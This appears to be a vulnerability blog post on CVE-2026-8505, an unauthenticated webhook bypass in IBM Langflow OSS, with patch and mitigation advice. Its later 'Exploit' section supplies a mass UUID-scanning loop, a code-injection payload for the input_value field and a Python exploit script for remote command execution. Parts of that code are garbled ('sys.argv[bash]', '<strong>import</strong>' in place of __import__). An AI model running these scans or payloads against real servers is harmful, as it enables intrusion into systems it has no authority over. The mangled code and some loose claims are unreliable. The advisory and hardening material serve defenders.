Listen to this Post
CVE-2026-8505 is a critical authentication bypass vulnerability affecting IBM Langflow OSS versions 1.0.0 through 1.10.0. The flaw resides in the webhook authentication logic, where the system incorrectly skips API key validation when the `WEBHOOK_AUTH_ENABLE` configuration parameter is set to False. Critically, `False` is the default setting in out-of-the-box installations, meaning the vast majority of deployments are vulnerable without any administrative misconfiguration.
Langflow is an open-source low-code platform for building and deploying AI workflows and agents. It exposes webhook endpoints that allow external systems to trigger flow executions programmatically. Under normal operation, these endpoints should require a valid API key to authenticate the caller and verify they have permission to execute the targeted flow. However, due to the flawed logic, when `WEBHOOK_AUTH_ENABLE` is False, the authentication check is entirely bypassed. The endpoint proceeds to execute the requested flow without validating any credentials.
An attacker can exploit this vulnerability by sending a crafted HTTP request to the webhook endpoint of a vulnerable Langflow instance. The only prerequisite is knowledge of the target flow’s UUID (Universally Unique Identifier). While UUIDs are designed to be unpredictable, they may be discoverable through directory enumeration, information disclosure in logs, insider knowledge, or by brute-forcing if the UUID space is not sufficiently large. No authentication, no user interaction, and no prior privileges are required, giving the attack a perfect CVSS attack vector of AV:N/AC:L/PR:N/UI:N.
Once the attacker triggers the flow, it executes with the permissions of the flow’s owner. Because Langflow flows can invoke system-level commands, execute Python code, interact with the filesystem, and connect to external services, this provides a direct pathway to Remote Code Execution (RCE) on the underlying server. An attacker could read sensitive files, install malware, pivot to internal networks, or completely compromise the host. The vulnerability can also be leveraged for Denial of Service (DoS) by repeatedly invoking resource-intensive flows.
The vulnerability was assigned CWE-306 (Missing Authentication for Critical Function) and carries a CVSS v3.1 base score of 9.8, which is classified as Critical. IBM released a fixed version, 1.10.1, on July 2, 2026, which implements proper authentication checks in the webhook endpoint handler. Organizations running any version between 1.0.0 and 1.10.0 are advised to upgrade immediately. No workarounds are officially provided by IBM, though setting `WEBHOOK_AUTH_ENABLE=True` can enforce API key validation as a temporary configuration-level mitigation.
DailyCVE Form:
- Platform: IBM Langflow OSS
- Version: 1.0.0–1.10.0
- Vulnerability: Webhook Auth Bypass
- Severity: Critical (9.8 CVSS)
- date: 2026-07-17
- Prediction: Upgrade to 1.10.1
What Undercode Say:
Analytics indicate active scanning for Langflow webhook endpoints on port 7860 (default) and 80/443. Public Shodan queries show over 1,200 exposed instances as of July 2026. Attackers are automating UUID enumeration via sequential or pseudo-random generation. The following bash script can be used to test if an instance is vulnerable:
Test for CVE-2026-8505 - Unauthenticated webhook access
TARGET="http://target-langflow:7860"
FLOW_UUID="aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa" Replace with actual UUID
curl -X POST "$TARGET/api/v1/run/$FLOW_UUID" \
-H "Content-Type: application/json" \
-d '{"input_value": "test"}'
If the flow executes without an API key, the instance is vulnerable. Mass scanning can be performed with:
Enumerate common UUID patterns (example for version 1 UUIDs)
for i in {0000..9999}; do
UUID="aaaaaaaa-aaaa-aaaa-aaaa-${i}aaaaaaaa"
curl -s -o /dev/null -w "%{http_code}\n" -X POST "$TARGET/api/v1/run/$UUID"
done | grep -v 404
Exploit:
A complete exploit chain involves:
- UUID Discovery: Enumerate accessible flows via directory listing (
/api/v1/flows/) or brute-force UUIDs using known patterns. Langflow’s default UUID format is version 4 (random), but some deployments use predictable sequential IDs. - Crafting the Payload: Identify a flow that accepts external input and contains a vulnerable component (e.g., a PythonFunction node or ShellCommand node). For RCE, inject a payload into the `input_value` field:
{ "input_value": "<strong>import</strong>('os').system('id > /tmp/pwned')" } - Execution: Send the POST request to
/api/v1/run/{UUID}. The flow executes with owner privileges, running the injected system command.
A full exploit script example:
import requests
import sys
target = sys.argv[bash]
uuid = sys.argv[bash]
payload = {
"input_value": "<strong>import</strong>('os').popen('whoami').read()"
}
r = requests.post(f"{target}/api/v1/run/{uuid}", json=payload)
print(r.text)
Protection:
- Immediate Patch: Upgrade to Langflow OSS version 1.10.1 or later. This is the only vendor-recommended fix.
- Configuration Mitigation: If patching is not possible, set `WEBHOOK_AUTH_ENABLE=True` in the Langflow configuration file (
.envorconfig.yaml) to re-enable API key validation for webhook endpoints. - Network Controls: Place Langflow instances behind a firewall or VPN, restricting inbound access to the webhook endpoint (
/api/v1/run/) to trusted IP ranges only. Consider using a reverse proxy with additional authentication (e.g., mTLS, OAuth2 proxy) in front of the Langflow service. - UUID Hardening: If custom flow UUIDs are used, ensure they are sufficiently random (128-bit) and not exposed in logs or error messages.
Impact:
- Confidentiality: Attackers can read sensitive data from the server, including environment variables, source code, and databases connected to the flow.
- Integrity: Malicious actors can modify flows, inject backdoors, or alter system configurations.
- Availability: Attackers can cause Denial of Service by consuming system resources, crashing the Langflow service, or deleting critical files.
- Lateral Movement: Compromised Langflow instances can serve as a pivot point to attack internal networks, as the server typically has outbound access to other internal services.
- Supply Chain Risk: If the Langflow instance is part of a CI/CD pipeline or production environment, attackers could inject malicious code into downstream artifacts or deployments.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
